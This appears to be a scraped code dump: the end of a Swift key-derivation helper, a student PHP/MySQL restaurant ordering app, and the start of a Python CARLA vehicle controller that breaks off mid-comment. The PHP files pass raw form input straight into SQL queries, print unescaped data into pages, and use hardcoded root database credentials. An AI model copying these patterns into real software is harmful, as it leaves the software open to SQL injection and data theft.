let durationMillis = UInt32(ceil(targettedDuration * 1000))
// Operation
let rounds = CCCalibratePBKDF(algorithm, strlen(password), UInt(saltLength), prf, UInt(derivedKeyLength), durationMillis)
return Int(rounds)
}
}
|
ad8ede16c1cc842c0a260eb810d2df87da412ba1
|
[
"Swift",
"C",
"Markdown"
] | 10
|
Swift
|
rhodgkins/RDHCommonCrypto
|
1d20ac90a3f7e5090e56154097ad454d17e4472b
|
8c4690e459bcf9c77d25050a7a443753bceb85c6
|
refs/heads/master
|
<repo_name>MusytasyfaSyauqonyD/PRPL2017-E-1600018210-Musytasyfa-Syauqony-D<file_sep>/README.md
# PRPL2017-E-1600018210-Musytasyfa-Syauqony-D
Perangkat Rekayasa Web Resto
<file_sep>/search_barang.php
<?php
$host = "localhost";
$username = "root";
$password = "";
$db_name = "kasir";
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Search Barang</title>
<style>
#td {
text-align:center;
background:#06F;
}
a {
color:#000;
text-decoration:none;
}
a:hover {
color:#00F;
}
body{
color :white;
}
</style>
</head>
<body background="resto.png">
<h1 align="center">Searching</h1>
<div style="width:100%">
<div align="center">
<div style="width:600px;">
<div style="width:600px; float:left">
<table align="center" border="1" width="600">
<tr id="td">
<td>No.</td>
<td>Kode Pemesan</td>
<td>Nama Pesanan</td>
<td>Harga</td>
<td>Jumlah</td>
</tr>
<?php
$kd_brg = $_POST['kd_brg'];
if($kd_brg !=''){
$lihat = mysql_query("select *,format(harga,0) as 'harga' from barang where kd_brg = '$kd_brg' or nama_brg like '%$kd_brg%' or harga = '$kd_brg' or stok = '$kd_brg'");
}
else {
$lihat = mysql_query("select * from barang ");
}
$no = 1;
while($hasil = mysql_fetch_array($lihat))
{
echo "<tr>
<td>".$no."</td>
<td>".$hasil['kd_brg']."</td>
<td>".$hasil['nama_brg']."</td>
<td>Rp.".$hasil['harga']."</td>
<td>".$hasil['stok']."</td>
</tr>
";
$no ++;
}
?>
</table>
</div>
</div>
</div>
</div>
</body>
</html>
<file_sep>/tambah_barang.php
<?php
$koneksi = mysql_connect("localhost","root","") or die("Koneksi Gagal !" . mysql_error());
$database = mysql_select_db("kasir");
$kd = $_POST['kd'];
$nama = $_POST['nama'];
$hrg = $_POST['hrg'];
$satuan = $_POST['satuan'];
$simpan = mysql_query("insert into barang values('$kd','$nama','$hrg','$satuan')");
$simpan_a = mysql_query("insert into stok values('$kd','$satuan')");
?>
<script type="text/javascript">
var retVal = confirm("Data tersimpan dan Apa Anda Masih Ingin Menambah Pesanan ?");
if( retVal == true){
alert("Oke Silahkan Tambah Lagi");
document.location.href = "tambah_barang.html";
}
else{
alert("Kembali ke daftar Pesanan!");
document.location.href = "index.php";
}
</script><file_sep>/proses.php
<?php
$host = "localhost";
$username = "root";
$password = "";
$db_name = "kasir";
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Proses</title>
<style>
body {
color:#FFF;
}
</style>
</head>
<body background="resto.png">
<?php
$jumlah = $_POST['jlh_angka'];
for($i = 1; $i <= $jumlah; $i++)
{
$id[$i] = $_POST['id_pembeli'.$i];
$tgl[$i] = $_POST['tgl_beli'.$i];
$kd_brg[$i] = $_POST['kd'.$i];
$satuan_brg[$i] = $_POST['satuan'.$i];
mysql_query("insert into pembeli values('".$id[$i]."','".$kd_brg[$i]."','".$satuan_brg[$i]."','".$tgl[$i]."')");
mysql_query("update barang set stok = stok - '".$satuan_brg[$i]."' where kd_brg = '".$kd_brg[$i]."'");
}
?>
<div align="center">
<div style="width:400px; height:auto; background:#03F; padding:10px 0 10px 0; border-radius:10px; -webkit-border-radius:10px;">
<?php
echo "<form enctype='multipart/form-data' action='calculation.php' method='post'>
<table>
<tr>
<td><marquee behavior='alternate'>Lihat Daftar Belanja Dan Cetak Pembayaran</marquee></td>
</tr>
<tr>
<td align='center'>
<input type='hidden' name='aidi' value='".$id[1]."' />
<input type='submit' value='Lihat Daftar' onclick='muat'/>
</td>
</tr>
</form>";
?>
<script type="text/javascript">
function muat()
{
document.location.href = "calculation.php";
}
</script>
</div></div>
</body>
</html>
<file_sep>/simpan_total.php
<?php
$host = "localhost";
$username = "root";
$password = "";
$db_name = "kasir";
$total = $_POST['jlh_total'];
$id = $_POST['id'];
$simpan = mysql_query("insert into total values('$id''$total')");
?><file_sep>/delete.php
<?php
$host = "localhost";
$username = "root";
$password = "";
$db_name = "kasir";
$kode = $_POST['kd'];
$hapus = mysql_query("delete from barang where kd_brg = '".$kode."'");
?>
<script type="text/javascript">
alert("Terhapus");
document.location.href = "index.php";
</script><file_sep>/laporan.php
<?php
$koneksi = mysql_connect("localhost","root","") or die("Koneksi Gagal !" . mysql_error());
$database = mysql_select_db("kasir");
require('fpdf.php');
$pdf = new FPDF();
$pdf->addPage();
$pdf->setAutoPageBreak(false);
$pdf->setFont('Arial','',12);
$aidi = $_POST['id'];
$tgl = date('d-m-y');
$id_beli = mysql_query("select id_pembeli from pembeli where id_pembeli = '".$aidi."'");
$ar_data = mysql_fetch_array($id_beli);
$pdf->text(75,30,'NOTA PEMBAYARAN');
$pdf->text(10,37,'Nama : ');
$pdf->text(30,37,$ar_data['id_pembeli']);
$pdf->text(150,37,'Tanggal : ');
$pdf->text(170,37,$tgl);
$yi = 50;
$ya = 44;
$row = 6;
$pdf->setFont('Arial','',9);
$pdf->setFillColor(222,222,222);
$pdf->setXY(10,$ya);
$pdf->cell(6,6,'No',1,0,'C',1);
$pdf->CELL(25,6,'Nama Pesanan',1,0,'C',1);
$pdf->CELL(50,6,'Harga Pesanan',1,0,'C',1);
$pdf->CELL(50,6,'Jumlah Beli',1,0,'C',1);
$pdf->CELL(50,6,'Jumlah Harga',1,0,'C',1);
$ya = $yi + $row;
$lihat = mysql_query("select pembeli.id_pembeli,pembeli.kd_brg,barang.nama_brg,format(barang.harga,0) as 'harga',pembeli.jlh_beli,format((barang.harga * pembeli.jlh_beli),0) as 'Total' from pembeli,barang where pembeli.kd_brg = barang.kd_brg and pembeli.id_pembeli = '".$aidi."'");
$i = 1;
$no = 1;
$max = 31;
while($data = mysql_fetch_array($lihat)){
$pdf->setXY(10,$ya);
$pdf->setFont('arial','',9);
$pdf->setFillColor(255,255,255);
$pdf->cell(6,6,$no,1,0,'C',1);
$pdf->cell(25,6,$data['nama_brg'],1,0,'L',1);
$pdf->cell(50,6,$data['harga'],1,0,'L',1);
$pdf->cell(50,6,$data['jlh_beli'],1,0,'L',1);
$pdf->CELL(50,6,$data['Total'],1,0,'C',1);
$ya = $ya+$row;
$no++;
$i++;
}
$hasil = mysql_query("select format(sum(barang.harga * pembeli.jlh_beli),0) as 'jlh_total' from pembeli,barang where pembeli.kd_brg = barang.kd_brg and pembeli.id_pembeli = '".$aidi."'");
$arr_hsl = mysql_fetch_array($hasil);
$pdf->text(150,$ya+7,"Total Harga : Rp.".$arr_hsl['jlh_total']);
$pdf->output();
?><file_sep>/calculation.php
<?php
$host = "localhost";
$username = "root";
$password = "";
$db_name = "kasir";
$aidi = $_POST['aidi'];
$lihat = mysql_query("select pembeli.id_pembeli,pembeli.kd_brg,barang.nama_brg,format(barang.harga,0) as 'harga',pembeli.jlh_beli,format((barang.harga * pembeli.jlh_beli),0) as 'Total' from pembeli,barang where pembeli.kd_brg = barang.kd_brg and pembeli.id_pembeli = '".$aidi."' order by pembeli.id_pembeli DESC");
$id = mysql_query("select id_pembeli from pembeli where id_pembeli = '".$aidi."' order by id_pembeli limit 1");
$ar_id = mysql_fetch_array($id);
?>
<style>
input {
border:none;
color:#FF0;
background:none;
}
#lain {
background:#FC0;
padding:7px;
color:#FFF;
border-radius:10px;
-webkit-border-radius:10px;
cursor:pointer;
}
a {
text-decoration:none;
color:#FFF;
}
</style>
<body background="resto.png">
<div align="center">
<div style="width:850px; height:auto; background:; padding:0px 0 10px 0; border-radius:10px; -webkit-border-radius:10px;">
<table align="center">
<tr>
<td colspan="5">Pemesan : <?php echo "<input type='text' name='id' value='".$ar_id['id_pembeli']."' />"; ?></td>
</tr>
<tr>
<td>Kode Pesanan</td>
<td>Nama Pesanan</td>
<td>Harga</td>
<td>Jumlah Pesanan</td>
<td>Jumlah Harga</td>
</tr>
<?php
while($arr = mysql_fetch_array($lihat))
{
echo "<tr>
<td><input type='text' value = '".$arr['kd_brg']."' /></td>
<td><input type='text' value = '".$arr['nama_brg']."' /></td>
<td><input type='text' value = 'Rp.".$arr['harga']."' /></td>
<td><input type='text' value= '".$arr['jlh_beli']."' /></td>
<td><input type='text' value = 'Rp.".$arr['Total']."' id = 'test' /></td>
</tr>";
}
$hasil = mysql_query("select format(sum(barang.harga * pembeli.jlh_beli),0) as 'jlh_total' from pembeli,barang where pembeli.kd_brg = barang.kd_brg and pembeli.id_pembeli = '".$aidi."'");
$arr_hsl = mysql_fetch_array($hasil);
echo "<form method='post' action='laporan/laporan.php' enctype='multipart/form-data' target='_blank'>
<tr>
<td colspan='5' align='right'>Tolal Harga : <input type='text' value='Rp.".$arr_hsl['jlh_total']."' /><input type='hidden' name='id' value='".$aidi."' /></td>
</tr>
<tr>
<td colspan='5' align='right'><input id='lain' type='submit' value='Cetak' /></td>
</tr>
</form>";
?>
<tr><td colspan="5"><< <a href="index.php">Back to index</a></td></tr>
</table>
</div></div><file_sep>/proses_update.php
<?php
$host = "localhost";
$username = "root";
$password = "";
$db_name = "kasir";
$kode = $_POST['kd_brg'];
$nama = $_POST['name'];
$hrg = $_POST['hrg'];
$satuan = $_POST['satuan'];
$simpan = mysql_query("update barang set nama_brg = '$nama', harga = '$hrg', stok = '$satuan' where kd_brg = '$kode'");
$simpan_a = mysql_query("update stok set stok = '$satuan' where kd_brg = '$kode'");
?>
<script type="text/javascript">
document.location.href = "index.php";
</script><file_sep>/update.php
<?php
$host = "localhost";
$username = "root";
$password = "";
$db_name = "kasir";
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Update Barang</title>
<style>
a {
color:#FFF;
}
</style>
</head>
<body background="resto.png">
<h1 align="center">Update Barang</h1>
<div align="center">
<div style="width:700px; height:auto; background:; padding:10px 0 10px 0; border-radius:10px; -webkit-border-radius:10px;">
<form action="proses_update.php" method="post" enctype="multipart/form-data">
<table width="600" align="center" cellpadding="6">
<tr>
<td>Kode Pemesan</td>
<td>Nama Pesanan</td>
<td>Harga</td>
<td>Jumlah</td>
</tr>
<tr>
<?php
$kd = $_POST['kd'];
$lihat_1 = mysql_query("select * from barang where barang.kd_brg = '$kd'");
$arr_lihat1 = mysql_fetch_array($lihat_1);
?>
<td><input type="text" value="<?php echo $arr_lihat1['kd_brg']; ?>" disabled="disabled" /><input type="hidden" name="kd_brg" value="<?php echo $arr_lihat1['kd_brg']; ?>" /></td>
<td><input type="text" name="name" value="<?php echo $arr_lihat1['nama_brg']; ?>" /></td>
<td><input type="text" name="hrg" value="<?php echo $arr_lihat1['harga']; ?>" /></td>
<td><input type="text" name="satuan" value="<?php echo $arr_lihat1['stok']; ?>" /></td>
</tr>
<tr>
<td colspan="4" align="center"><input type="submit" value="Update" /> <input type="reset" value="Hapus" /> <a href="index.php"><< Back TO INDEX</a></td>
</tr>
</table>
</form>
</div>
</div>
</body>
</html><file_sep>/beli.php
<?php
$host = "localhost";
$username = "root";
$password = "";
$db_name = "kasir";
$tanggal = date('d-m-y');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Pembelian</title>
<script type="text/javascript" src="jquery-1.7.1.js"></script>
<style>
a {
text-decoration:none;
color:#FF0;
}
body {
color:#FFF;
}
</style>
</head>
<body background="resto.png">
<div align="center">
<div style="width:700px; height:auto; background:; padding:0px 0 10px 0; border-radius:10px; -webkit-border-radius:10px;">
<form action="beli_sementara.php" method="post" enctype="multipart/form-data">
<table align="center" width="600">
<tr>
<td colspan="2" align="center"><h2>PEMESANAN</h2></td>
</tr>
<tr>
<td>Jumlah Pesanan</td>
<td><input type="text" name="jlh_brg" onKeyPress="return goodchars(event,'12345678990',this)" title="Isi Dengan Angka" required /></td>
</tr>
<tr>
<td>Nama Pemesan</td>
<td><input type="text" name="id" onKeyPress="return goodchars(event,'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ',this)" title="Isi Dengan Huruf" required /><input type="hidden" name="tgl" value="<?php echo $tanggal ?>" /></td>
</tr>
<tr>
<td colspan="2"><input type="submit" value="LIHAT" /> << <a href="index.php">Back To INDEX</a></td>
</tr>
</table>
</form>
</div></div>
</body>
</html>
<script language="javascript">
function getkey(e)
{
if (window.event)
return window.event.keyCode;
else if (e)
return e.which;
else
return null;
}
function goodchars(e, goods, field)
{
var key, keychar;
key = getkey(e);
if (key == null) return true;
keychar = String.fromCharCode(key);
keychar = keychar.toLowerCase();
goods = goods.toLowerCase();
// check goodkeys
if (goods.indexOf(keychar) != -1)
return true;
// control keys
if ( key==null || key==0 || key==8 || key==9 || key==27 )
return true;
if (key == 13) {
var i;
for (i = 0; i < field.form.elements.length; i++)
if (field == field.form.elements[i])
break;
i = (i + 1) % field.form.elements.length;
field.form.elements[i].focus();
return false;
};
// else return false
return false;
}
</script>
<file_sep>/beli_sementara.php
<?php
$host = "localhost";
$username = "root";
$password = "";
$db_name = "kasir";
?>
<style>
body {
color:#FC0;
}
</style>
<body background="resto.png">
<div align="center">
<div style="width:700px; height:auto; background:; padding:0px 0 10px 0; border-radius:10px; -webkit-border-radius:10px;">
<table align="center" width="600">
<tr>
<td align="center" colspan="2"><h2>SIMPAN DAN CETAK</h2></td>
</tr>
<form method='post' enctype="multipart/form-data" action='proses.php' id='form2'>
<tr>
<td>Kode Pesanan</td>
<td>Jumlah</td>
</tr>
<?php
$jumlah = $_POST['jlh_brg'];
for($a = 1; $a <= $jumlah; $a++)
{
$b[$a] = $_POST['id'];
$c[$a] = $_POST['tgl'];
}
for($i = 1; $i <= $jumlah; $i++)
{
echo "<tr>
<td><select name='kd".$i."'>";
$lihat = mysql_query("select * from Barang");
while($data = mysql_fetch_array($lihat))
{
echo "<option value=".$data['kd_brg'].">".$data['kd_brg']."<option>";
}
echo "</select></td>
<td><input type='text' name='satuan".$i."' /><input type='hidden' name='jlh_angka' value='".$jumlah."' /><input type='hidden' name='id_pembeli".$i."' value='$b[$i]' /><input type='hidden' name='tgl_beli".$i."' value='$c[$i]' /></td>
</tr>";
}
?>
<tr>
<td colspan="2"><input type="submit" value="Kirim" /></td>
</tr>
</form>
</table>
</div></div>
|
d1ad7a334865ca2bf0917f43ffc2a174b7cb9fac
|
[
"Markdown",
"PHP"
] | 12
|
Markdown
|
MusytasyfaSyauqonyD/PRPL2017-E-1600018210-Musytasyfa-Syauqony-D
|
0bbfdfb74070de0f18784fe2cf46088f3d3fdb7d
|
1953254191a718b8433bc16b2b0c218d8c606695
|
refs/heads/master
|
<file_sep>$(document).on('click', '.dropdown-toggle', function () {
//console.log("Selected Option:"+$(this).text());
var el = document.getElementById('age');
var h = el.getElementsByTagName("h4");
var old = "年號:";
h[1].innerHTML = old + $(this).text();
});
$(document).on('click', '.dropdown-menu li a', function () {
//console.log("Selected Option:"+$(this).text());
var el = document.getElementById('age');
var h = el.getElementsByTagName("h4");
var old = h[1].innerHTML;
h[1].innerHTML = old + $(this).text();
h[0].innerHTML = h[1].innerHTML;
});
function show_page() {
var el = document.getElementById('books');
var input = el.getElementsByTagName('input');
var count = 0;
var book_names = [];
var checked = [];
var main = document.getElementById('main');
for (var i = 0, len = input.length; i < len; i++){
if (input[i].type === 'checkbox'){
book_names[i] = input[i].value;
if (input[i].checked) {
checked[count] = input[i].value;
count++;
}
console.log(book_names[i]);
}
}
console.log(count);
if (count === 0){ //only春秋
$( $('.book')[0] ).attr("class", "book col-sm-12 content");
$( $('.book')[1] ).attr("class", "book col-sm-3 hidden");
$( $('.book')[2] ).attr("class", "book col-sm-3 hidden");
$( $('.book')[3] ).attr("class", "book col-sm-3 hidden");
$( $('.book')[4] ).attr("class", "book col-sm-3 hidden");
}
else if (count === 1){ //col-sm-6 * 2 => checked[0]
$( $('.book')[0] ).attr("class", "book col-sm-6 content");
if(checked[0] == "左傳") {
$( $('.book')[1] ).attr("class", "book col-sm-6 content");
$( $('.book')[2] ).attr("class", "book col-sm-6 content hidden");
$( $('.book')[3] ).attr("class", "book col-sm-6 content hidden");
$( $('.book')[4] ).attr("class", "book col-sm-6 content hidden");
}
else if (checked[0] == "公羊傳"){
$( $('.book')[2] ).attr("class", "book col-sm-6 content");
$( $('.book')[1] ).attr("class", "book col-sm-6 content hidden");
$( $('.book')[3] ).attr("class", "book col-sm-6 content hidden");
$( $('.book')[4] ).attr("class", "book col-sm-6 content hidden");
}
else if (checked[0] == "穀梁傳") {
$( $('.book')[3] ).attr("class", "book col-sm-6 content");
$( $('.book')[1] ).attr("class", "book col-sm-6 content hidden");
$( $('.book')[2] ).attr("class", "book col-sm-6 content hidden");
$( $('.book')[4] ).attr("class", "book col-sm-6 content hidden");
}
else if (checked[0] == "春秋經解") {
$( $('.book')[4] ).attr("class", "book col-sm-6 content");
$( $('.book')[1] ).attr("class", "book col-sm-6 content hidden");
$( $('.book')[2] ).attr("class", "book col-sm-6 content hidden");
$( $('.book')[3] ).attr("class", "book col-sm-6 content hidden");
}
}
else if (count === 2){ //col-sm-4 * 3 => checked[0][1]
$( $('.book')[0] ).attr("class", "book col-sm-4 content");
if(checked[0] == "左傳" && checked[1] == "公羊傳") {
$( $('.book')[1] ).attr("class", "book col-sm-4 content");
$( $('.book')[2] ).attr("class", "book col-sm-4 content");
$( $('.book')[3] ).attr("class", "book col-sm-4 content hidden");
$( $('.book')[4] ).attr("class", "book col-sm-4 content hidden");
}
else if(checked[0] == "左傳" && checked[1] == "穀梁傳") {
$( $('.book')[1] ).attr("class", "book col-sm-4 content");
$( $('.book')[3] ).attr("class", "book col-sm-4 content");
$( $('.book')[2] ).attr("class", "book col-sm-4 content hidden");
$( $('.book')[4] ).attr("class", "book col-sm-4 content hidden");
}
else if(checked[0] == "左傳" && checked[1] == "春秋經解") {
$( $('.book')[1] ).attr("class", "book col-sm-4 content");
$( $('.book')[4] ).attr("class", "book col-sm-4 content");
$( $('.book')[2] ).attr("class", "book col-sm-4 content hidden");
$( $('.book')[3] ).attr("class", "book col-sm-4 content hidden");
}
else if(checked[0] == "公羊傳" && checked[1] == "穀梁傳") {
$( $('.book')[2] ).attr("class", "book col-sm-4 content");
$( $('.book')[3] ).attr("class", "book col-sm-4 content");
$( $('.book')[1] ).attr("class", "book col-sm-4 content hidden");
$( $('.book')[4] ).attr("class", "book col-sm-4 content hidden");
}
else if(checked[0] == "公羊傳" && checked[1] == "春秋經解") {
$( $('.book')[2] ).attr("class", "book col-sm-4 content");
$( $('.book')[4] ).attr("class", "book col-sm-4 content");
$( $('.book')[1] ).attr("class", "book col-sm-4 content hidden");
$( $('.book')[3] ).attr("class", "book col-sm-4 content hidden");
}
else if(checked[0] == "穀梁傳" && checked[1] == "春秋經解") {
$( $('.book')[3] ).attr("class", "book col-sm-4 content");
$( $('.book')[4] ).attr("class", "book col-sm-4 content");
$( $('.book')[1] ).attr("class", "book col-sm-4 content hidden");
$( $('.book')[2] ).attr("class", "book col-sm-4 content hidden");
}
}
else if (count === 3){ //col-sm-3 * 4 => checked[0][1][2]
$( $('.book')[0] ).attr("class", "book col-sm-3 content");
if(checked[0] == "左傳" && checked[1] == "公羊傳" && checked[2] == "穀梁傳") {
$( $('.book')[1] ).attr("class", "book col-sm-3 content");
$( $('.book')[2] ).attr("class", "book col-sm-3 content");
$( $('.book')[3] ).attr("class", "book col-sm-3 content");
$( $('.book')[4] ).attr("class", "book col-sm-3 content hidden");
} else if(checked[0] == "左傳" && checked[1] == "公羊傳" && checked[2] == "春秋經解") {
$( $('.book')[1] ).attr("class", "book col-sm-3 content");
$( $('.book')[2] ).attr("class", "book col-sm-3 content");
$( $('.book')[4] ).attr("class", "book col-sm-3 content");
$( $('.book')[3] ).attr("class", "book col-sm-3 content hidden");
}else if(checked[0] == "左傳" && checked[1] == "穀梁傳" && checked[2] == "春秋經解") {
$( $('.book')[1] ).attr("class", "book col-sm-3 content");
$( $('.book')[3] ).attr("class", "book col-sm-3 content");
$( $('.book')[4] ).attr("class", "book col-sm-3 content");
$( $('.book')[2] ).attr("class", "book col-sm-3 content hidden");
}else if(checked[0] == "公羊傳" && checked[1] == "穀梁傳" && checked[2] == "春秋經解") {
$( $('.book')[2] ).attr("class", "book col-sm-3 content");
$( $('.book')[3] ).attr("class", "book col-sm-3 content");
$( $('.book')[4] ).attr("class", "book col-sm-3 content");
$( $('.book')[1] ).attr("class", "book col-sm-3 content hidden");
}
}
else if (count === 4){ //col-sm-3 * 4 => checked[0][1][2]
$( $('.book')[0] ).attr("class", "book col-sm-3 content");
$( $('.book')[1] ).attr("class", "book col-sm-2 content");
$( $('.book')[2] ).attr("class", "book col-sm-2 content");
$( $('.book')[3] ).attr("class", "book col-sm-2 content");
$( $('.book')[4] ).attr("class", "book col-sm-3 content");
}
}
/*
"<div class=\"col-sm-10 col-md-10\">
<div class=\"row\">
<div class=\"col-sm-3 content\">
<h1 class=\"page-header\">春秋</h1>
<ul class=\"nav nav-sidebar\">
<li><a href=\"#\">...</a></li>
<li><a href=\"#\">...</a></li>
<li><a href=\"#\">...</a></li>
</ul>
</div>
<div class=\"col-sm-3 content\">
<h1 class=\"page-header\">"+book_names[0]+"</h1>
<ul class=\"nav nav-sidebar\">
<li><a href=\"#\">...</a></li>
<li><a href=\"#\">...</a></li>
<li><a href=\"#\">...</a></li>
</ul>
</div>
</div>
</div>"
*/<file_sep><html>
<link rel="stylesheet" href="index.css" type="text/css" >
<?php
include("dbManager.php");
$db = new dbManager;
/*
$data = $db -> query_book(1);
for($i=0; $i<count($data);$i++){
echo $data[$i]['CONTENT']."<br>";
}
*/
$data = $db -> query_book(1);
$title = "";
$content = "";
for($i=0; $i<count($data);$i++){
if($data[$i]['TITLE'] == $title) {
$content.=$data[$i]['CONTENT']."<br>";
} else {
if( $title != "") {
echo "<div class='block' name='$title'>";
echo "<p class='title'>$title</p>";
echo "$content";
echo "<br></div>";
}
$title = "";
$content = "";
$title = $data[$i]['TITLE'];
$content.=$data[$i]['CONTENT']."<br>";
}
}
?>
</html>
|
8c91d8fa571ffd64a2b08d713ee21c2af084e294
|
[
"JavaScript",
"PHP"
] | 2
|
JavaScript
|
Merlin-chu/Digital_Humanity_final
|
ebbfc1889c43375a5978f8262c197178ece7ce0c
|
e63cadfac93515ed42fec36fbfe31be2dc049c54
|
refs/heads/master
|
<file_sep>class SlackNotifier
def initialize(username = "DovePong", icon_emoji = ":table_tennis_paddle_and_ball:")
@webhook_url = ENV["SLACK_WEBHOOK_URL"]
@username = username
@icon_emoji = icon_emoji
end
def send(text)
return unless @webhook_url
headers = { 'Content-Type' => 'application/json' }
body = { "text": text, "icon_emoji": @icon_emoji, username: @username}
begin
r = HTTParty.post(@webhook_url, body: body.to_json, headers: headers )
return (r.code == 200)
rescue
return false
end
end
end
<file_sep>class ResultService
def self.create(game, params)
result = game.results.build
next_rank = Team::FIRST_PLACE_RANK
teams = (params[:teams] || {}).values.each.with_object([]) do |team, acc|
players = Array.wrap(team[:players]).delete_if(&:blank?)
acc << { rank: next_rank, players: players }
next_rank = next_rank + 1 if team[:relation] != "ties"
end
teams = teams.reverse.drop_while{ |team| team[:players].empty? }.reverse
teams.each do |team|
result.teams.build rank: team[:rank], player_ids: team[:players]
end
if result.valid?
Result.transaction do
game.rater.update_ratings game, result.teams
result.save!
verb = [
"conquered", "crushed", "rolled", "overcame", "ground down",
"demoralized", "vanquished", "shot down", "foiled", "wrecked",
"murked", "frustrated", "stymied", "taught a nice lesson to",
"schooled", "pwned", "whooped", "how bout dem apples-ed", "bossed",
"sauced", "smoked", "booped", "rinsed", "sacked", "rocked", "clobbered",
"gently sauteed", "cooked", "won against", "absolutely punished", "beat fair and square",
"probably cheated but still won against", "was kind but firm to", "gave a paddlin to"
].sample
SlackNotifier.new.send("#{result.winners.first.name} #{verb} #{result.losers.first.name}")
OpenStruct.new(
success?: true,
result: result
)
end
else
OpenStruct.new(
success?: false,
result: result
)
end
end
def self.destroy(result)
return OpenStruct.new(success?: false) unless result.most_recent?
Result.transaction do
result.players.each do |player|
player.rewind_rating!(result.game)
end
result.destroy
OpenStruct.new(success?: true)
end
end
end
|
e1138d85b3553f31e8e399bb9099ff118fa28ddd
|
[
"Ruby"
] | 2
|
Ruby
|
paloma-group/elovation
|
b1e5f6ef3c61cc50b9607a4d68a099f70fd604f7
|
09ef659a5c4f772309781ddb6de5ac222ee7ad95
|
refs/heads/master
|
<file_sep>#!/usr/bin/env python3
"""
2D Controller Class to be used for the CARLA waypoint follower demo.
"""
import numpy as np
import cutils
class Controller2D(object):
def __init__(self, waypoints):
self.vars = cutils.CUtils()
self._current_x = 0
self._current_y = 0
self._current_yaw = 0
self._current_speed = 0
self._desired_speed = 0
self._current_frame = 0
self._current_timestamp = 0
self._start_control_loop = False
self._set_throttle = 0
self._set_brake = 0
self._set_steer = 0
self._waypoints = waypoints
self._conv_rad_to_steer = 180.0 / 70.0 / np.pi
self._pi = np.pi
self._2pi = 2.0 * np.pi
def update_values(self, x, y, yaw, speed, timestamp, frame):
self._current_x = x
self._current_y = y
self._current_yaw = yaw
self._current_speed = speed
self._current_timestamp = timestamp
self._current_frame = frame
if self._current_frame:
self._start_control_loop = True
def update_desired_speed(self):
min_idx = 0
min_dist = float("inf")
desired_speed = 0
for i in range(len(self._waypoints)):
dist = np.linalg.norm(np.array([
self._waypoints[i][0] - self._current_x,
self._waypoints[i][1] - self._current_y]))
if dist < min_dist:
min_dist = dist
min_idx = i
if min_idx < len(self._waypoints)-1:
desired_speed = self._waypoints[min_idx][2]
else:
desired_speed = self._waypoints[-1][2]
self._desired_speed = desired_speed
def update_waypoints(self, new_waypoints):
self._waypoints = new_waypoints
def get_commands(self):
return self._set_throttle, self._set_steer, self._set_brake
def set_throttle(self, input_throttle):
# Clamp the throttle command to valid bounds
throttle = np.fmax(np.fmin(input_throttle, 1.0), 0.0)
self._set_throttle = throttle
def set_steer(self, input_steer_in_rad):
# Covnert radians to [-1, 1]
input_steer = self._conv_rad_to_steer * input_steer_in_rad
# Clamp the steering command to valid bounds
steer = np.fmax(np.fmin(input_steer, 1.0), -1.0)
self._set_steer = steer
def set_brake(self, input_brake):
# Clamp the steering command to valid bounds
brake = np.fmax(np.fmin(input_brake, 1.0), 0.0)
self._set_brake = brake
def update_controls(self):
######################################################
# RETRIEVE SIMULATOR FEEDBACK
######################################################
x = self._current_x
y = self._current_y
yaw = self._current_yaw
v = self._current_speed
self.update_desired_speed()
v_desired = self._desired_speed
t = self._current_timestamp
waypoints = self._waypoints
throttle_output = 0
steer_output = 0
brake_output = 0
######################################################
######################################################
# MODULE 7: DECLARE USAGE VARIABLES HERE
######################################################
######################################################
"""
Use 'self.vars.create_var(<variable name>, <default value>)'
to create a persistent variable (not destroyed at each iteration).
This means that the value can be stored for use in the next
iteration of the control loop.
Example: Creation of 'v_previous', default value to be 0
self.vars.create_var('v_previous', 0.0)
Example: Setting 'v_previous' to be 1.0
self.vars.v_previous = 1.0
Example: Accessing the value from 'v_previous' to be used
throttle_output = 0.5 * self.vars.v_previous
"""
self.vars.create_var('v_previous', 0.0)
self.vars.create_var('x_previous', 0.0)
self.vars.create_var('y_previous', 0.0)
self.vars.create_var('distance',0.0)
self.vars.create_var('x_difference',0.0)
self.vars.create_var('y_difference',0.0)
self.vars.create_var('required_angle',0.0)
self.vars.create_var('i',0)
self.vars.create_var('j',0)
self.vars.create_var('k',0)
self.vars.create_var('fanglea',0.0)
self.vars.create_var('fangleb',0.0)
self.vars.create_var('fanglec',0.0)
self.vars.create_var('fangled',0.0)
self.vars.create_var('diff_1',0.0)
self.vars.create_var('diff_2',0.0)
self.vars.create_var('diff_3',0.0)
self.vars.create_var('diff_4',0.0)
self.vars.create_var('k_1',0)
self.vars.create_var('k_2',0)
self.vars.create_var('k_3',0)
self.vars.create_var('k_4',0)
self.vars.create_var('fangle',0.0)
self.vars.create_var('diffangle',0.0)
self.vars.create_var('prev_diffangle',0.0)
self.vars.create_var('v_req_previous', 0.0)
self.vars.create_var('steer_previous',0.0)
self.vars.create_var('steer_put',0.0)
self.vars.create_var('acceleration',0.0)
self.vars.create_var('acceleration_previous',0.0)
# Skip the first frame to store previous values properly
if self._start_control_loop:
"""
Controller iteration code block.
Controller Feedback Variables:
x : Current X position (meters)
y : Current Y position (meters)
yaw : Current yaw pose (radians)
v : Current forward speed (meters per second)
t : Current time (seconds)
v_desired : Current desired speed (meters per second)
(Computed as the speed to track at the
closest waypoint to the vehicle.)
waypoints : Current waypoints to track
(Includes speed to track at each x,y
location.)
Format: [[x0, y0, v0],
[x1, y1, v1],
...
[xn, yn, vn]]
Example:
waypoints[2][1]:
